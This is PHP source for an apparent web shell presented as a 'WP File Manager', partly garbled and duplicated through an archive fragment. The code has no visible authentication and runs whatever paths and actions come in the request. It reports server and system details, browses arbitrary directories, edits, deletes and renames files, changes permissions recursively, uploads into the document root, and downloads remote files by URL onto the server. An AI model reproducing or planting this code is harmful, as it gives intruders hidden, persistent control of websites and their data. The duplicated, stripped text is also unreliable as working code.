'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëbaka@bakainitiatives.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
